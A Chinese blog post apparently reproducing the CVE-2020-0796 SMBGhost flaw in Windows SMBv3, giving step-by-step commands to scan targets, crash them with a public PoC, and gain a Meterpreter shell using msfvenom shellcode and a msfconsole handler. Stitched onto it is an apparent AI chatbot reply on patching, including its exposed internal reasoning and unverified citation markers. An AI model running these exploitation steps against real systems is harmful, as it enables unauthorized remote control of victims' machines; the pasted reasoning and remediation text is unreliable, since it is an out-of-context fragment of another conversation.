CVE-2020-0796:永恒之黑

本文介绍了一个存在于SMB3.1.1协议中的远程代码执行漏洞,详细解释了漏洞原理及影响范围,并提供了漏洞复现的具体步骤,包括扫描、蓝屏攻击与获取Shell等操作。

一:漏洞简介

漏洞原理:

SMB远程代码执行漏洞
SMB 3.1.1协议中处理压缩消息时,对其中数据没有经过安全检查,直接使用会引发内存破坏漏洞,可能被攻击者利用远程执行任意代码。攻击者利用该漏洞无须权限即可实现远程代码执行,受黑客攻击的目标系统只需开机在线即可能被入侵。
Windows 10和Windows Server 2016引入了SMB 3.1.1 。本次漏洞源于SMBv3没有正确处理压缩的数据包,在解压数据包的时候使用客户端传过来的长度进行解压时,并没有检查长度是否合法,最终导致整数溢出。利用该漏洞,黑客可直接远程攻击SMB服务端远程执行任意恶意代码,亦可通过构建恶意SMB服务端诱导客户端连接从而大规模攻击客户端。

影响范围:

● Windows 10 Version 1903 for 32-bit Systems
● Windows 10 Version 1903 for x64-based Systems
● Windows 10 Version 1903 for ARM64-based Systems
● Windows Server, Version 1903 (Server Core installation)
● Windows 10 Version 1909 for 32-bit Systems
● Windows 10 Version 1909 for x64-based Systems
● Windows 10 Version 1909 for ARM64-based Systems
● Windows Server, Version 1909 (Server Core installation)

二:漏洞复现

环境下载:

Windows 10 教育版Build 10.0.18362
POC扫描工具
POC利用工具
EXP漏洞利用

复现环境:

攻击机:Kali—>192.168.1.125
靶机:Win10—>192.168.1.133

步骤一:扫描漏洞

git clone https://github.com/ollypwn/SMBGhost.git

进入工具目录 输入命令进行扫描

python3 scanner.py 172.18.132.88

在这里插入图片描述

Vulnerable代表目标存在漏洞,可以进行攻击!

步骤二:漏洞利用-蓝屏

目标:使目标主机蓝屏
原理:该脚本连接到目标主机,并在转换头中设置了错误的偏移量字段的情况下压缩了身份验证请求,从而导致解压缩器缓冲溢出并导致目标崩溃。

git clone https://github.com/eerykitty/CVE-2020-0796-PoC.git

进入工具目录,输入命令对目标机进行攻击

python3 CVE-2020-0796.py 192.168.1.133

在这里插入图片描述
在这里插入图片描述

步骤三:漏洞利用-Getshell

1:在KALI系统内下载漏洞利用exp

git clone https://github.com/chompie1337/SMBGhost_RCE_PoC.git

2:使用Msfvenom生成正向连接攻击载荷(木马) 端口为:6666

msfvenom -p windows/x64/meterpreter/bind_tcp LPORT=6666 -b '\x00' -i 1 -f python
说明: 
   #-p payload
   #-e 编码方式
   #-i 编码次数
   #-b 在生成的程序中避免出现的值
   #LHOST,LPORT 监听上线的主机IP和端口
   #-f exe 生成EXE格式
   #‘\x00‘转义字符,对应ascall码中为null,因为是二进制文件所以会出现,在python中作为结束的标志,有点相当于%00截断的感觉。

在这里插入图片描述

3:用生成的shellcode将工具目录中exploit.py中的这一部分替换掉(buf后的字符串,保留USER_PAYLOAD不变)小诀窍,先整体粘贴复制,然后将buf += 替换为 user_paload,就不用一行一行粘贴了,节省了很多时间。以下是exploit.py替换后的内容:
在这里插入图片描述

4:打开msfconsole监听目标机指定端口[端口:6666]

msfconsole
use exploit/multi/handler
set payload windows/x64/meterpreter/bind_tcp
set lport 6666                      //目标端口
set rhost 172.18.132.88               //目标机ip
run

在这里插入图片描述

5:运行exploit.py脚本,反弹shell

python3 exploit.py -ip 192.168.1.133

在这里插入图片描述

6:msfconsole已经连接到了目标机进行权限维持

在这里插入图片描述
在这里插入图片描述

7:远程链接!
在这里插入图片描述

在这里插入图片描述

<think> 首先,用户询问如何修复CVE-2020-0796 Windows SMBv3客户端/服务器远程代码执行漏洞。我需要基于提供的站内引用信息来回答。这些引用描述了漏洞的背景和影响。 关键点来自引用: - 引用[1]:描述了CVE-2020-0796,即"SMBGhost",影响Windows SMBv3服务器和客户端,允许远程代码执行。微软在安全更新中发布了补丁。 - 引用[2]:漏洞存在于srv2.sys文件中,由于SMB没有正确处理压缩的数据包,导致整数溢出。 - 引用[3]:被称为“永恒”,类似于WannaCry的永恒之蓝,漏洞细节已公开,建议安装补丁进行防护。 - 引用[4]:提供了Exploit POC的分析链接。 - 引用[5]:描述了漏洞的技术细节,包括调用路径。 用户的问题是:如何修复这个漏洞?所以,我需要提供修复步骤。 修复方法主要涉及: 1. **安装官方补丁**:微软发布了安全更新来修复此漏洞。用户应更新他们的Windows系统。 2. **禁用SMBv3压缩**:作为临时缓解措施,可以禁用SMBv3压缩功能。 3. **其他安全措施**:如阻止相关端口(如445端口)的访问。 从引用中: - 引用[1]提到微软在安全更新中发布了补丁。 - 引用[3]建议安装补丁进行防护。 - 引用[5]提到了技术细节,但没有直接给出修复步骤;但隐含了更新系统是解决方案。 我需要结构化回答: - **步骤清晰**:帮助用户逐步解决问题。 - **使用中文**:指令要求使用中文回答。 - **添加引用标识**:在回答中引用的段落末尾自然地添加引用标识,如[^1]。 - **生成相关问题**:在结尾添加相关问题部分。 - **格式要求**:所有行内数学表达式使用$...$,独立公式使用$$...$$,但在这个上下文中,可能不需要数学公式,因为主题是安全漏洞。 回答结构: 1. **介绍漏洞**:简要说明CVE-2020-0796是什么。 2. **修复方法**: - 主要方法:安装微软官方补丁。 - 临时缓解措施:禁用SMBv3压缩。 - 其他建议:如防火墙设置。 3. **详细步骤**:提供如何执行这些操作的指导。 4. **结尾**:添加相关问题。 生成相关问题: - 基于主题,如:如何检测系统是否受影响?漏洞的影响范围是什么?如何测试漏洞是否修复? 确保回答真实可靠:基于提供的引用。 </think> ### 修复CVE-2020-0796漏洞的方法 CVE-2020-0796(也称为“SMBGhost”或“永恒”)是一个影响Windows SMBv3协议的严重漏洞,允许攻击者通过发送恶意压缩数据包实现远程代码执行。此漏洞存在于srv2.sys文件中,由于SMB在处理压缩数据时未验证长度,导致整数溢出[^2][^5]。微软已在2020年3月发布官方补丁修复该漏洞。以下是详细的修复方法,分为**主要修复措施**和**临时缓解措施**,帮助您逐步解决问题。 #### 主要修复措施:安装官方补丁 这是最可靠的永久修复方案,推荐所有受影响的系统立即执行: 1. **检查系统版本**: CVE-2020-0796影响特定版本的Windows 10和Windows Server 2019。具体受影响版本包括: - Windows 10 版本1903 (Build 18362) - Windows 10 版本1909 (Build 18363) - Windows Server 2019 (Build 18362/18363) 您可以通过在命令提示符中运行 `winver` 来确认系统版本[^3]。 2. **下载并安装安全更新**: - 访问微软官方安全更新目录:[Microsoft Update Catalog](https://www.catalog.update.microsoft.com/)。 - 搜索相关KB补丁: - 对于Windows 10 1903/1909:安装 **KB4551762** - 对于Windows Server 2019:安装 **KB4551762** - 安装完成后,重启系统以使补丁生效。 此补丁修复了srv2.sys文件中的漏洞处理逻辑,防止整数溢出和远程代码执行[^1][^5]。 3. **验证补丁安装**: - 运行 `systeminfo` 命令,检查“修补程序”列表中是否包含KB4551762。 - 使用微软官方提供的 PowerShell 脚本或工具(如 [Microsoft Safety Scanner](https://docs.microsoft.com/zh-cn/windows/security/threat-protection/intelligence/safety-scanner-download))扫描系统漏洞[^3]。 #### 临时缓解措施(如果无法立即安装补丁) 如果系统暂时无法更新,可以采取以下临时措施降低风险(但这些不能完全替代补丁): 1. **禁用SMBv3压缩功能**: - 打开管理员命令提示符(以管理员身份运行cmd)。 - 执行命令: ```cmd reg add "HKLM\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters" /v DisableCompression /t REG_DWORD /d 1 /f ``` - 重启系统或SMB服务(运行 `net stop server` 和 `net start server`)。 这可以阻止漏洞利用,但可能影响SMB性能[^2][^5]。 2. **配置防火墙规则**: - 阻止SMB端口(TCP 445)的外部访问: - 在Windows防火墙中,创建入站规则阻止端口445。 - 使用命令: ```cmd netsh advfirewall firewall add rule name="Block_SMB_Port" dir=in action=block protocol=TCP localport=445 ``` 这可以防止远程攻击,但内部网络访问可能受影响[^1][^3]。 3. **其他安全实践**: - 启用Windows Defender或第三方防病毒软件的实时保护,以检测潜在的利用尝试。 - 定期监控系统日志(事件查看器 > Windows日志 > Security)查找异常活动,如可疑的SMB连接[^4]。 #### 注意事项 - **重要提示**:补丁是最有效的解决方案;临时措施仅作为短期应对。漏洞易被蠕虫利用(类似WannaCry),延迟修复可能导致系统被完全控制[^3][^5]。 - **兼容性**:安装补丁后,测试关键应用以确保兼容性。微软提供了回滚指南,如果出现问题可卸载补丁(但不推荐)。 - **参考资源**: - 微软官方公告:[CVE-2020-0796 Security Update](https://portal.msrc.microsoft.com/zh-CN/security-guidance/advisory/CVE-2020-0796) - 漏洞技术分析:[SMBGhost Exploit POC](https://paper.seebug.org/1164/) [^4]。 通过以上步骤,您可以有效修复CVE-2020-0796漏洞。如果系统已更新到更新的Windows版本(如20H2或更高),则此漏洞已默认修复[^1]。
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值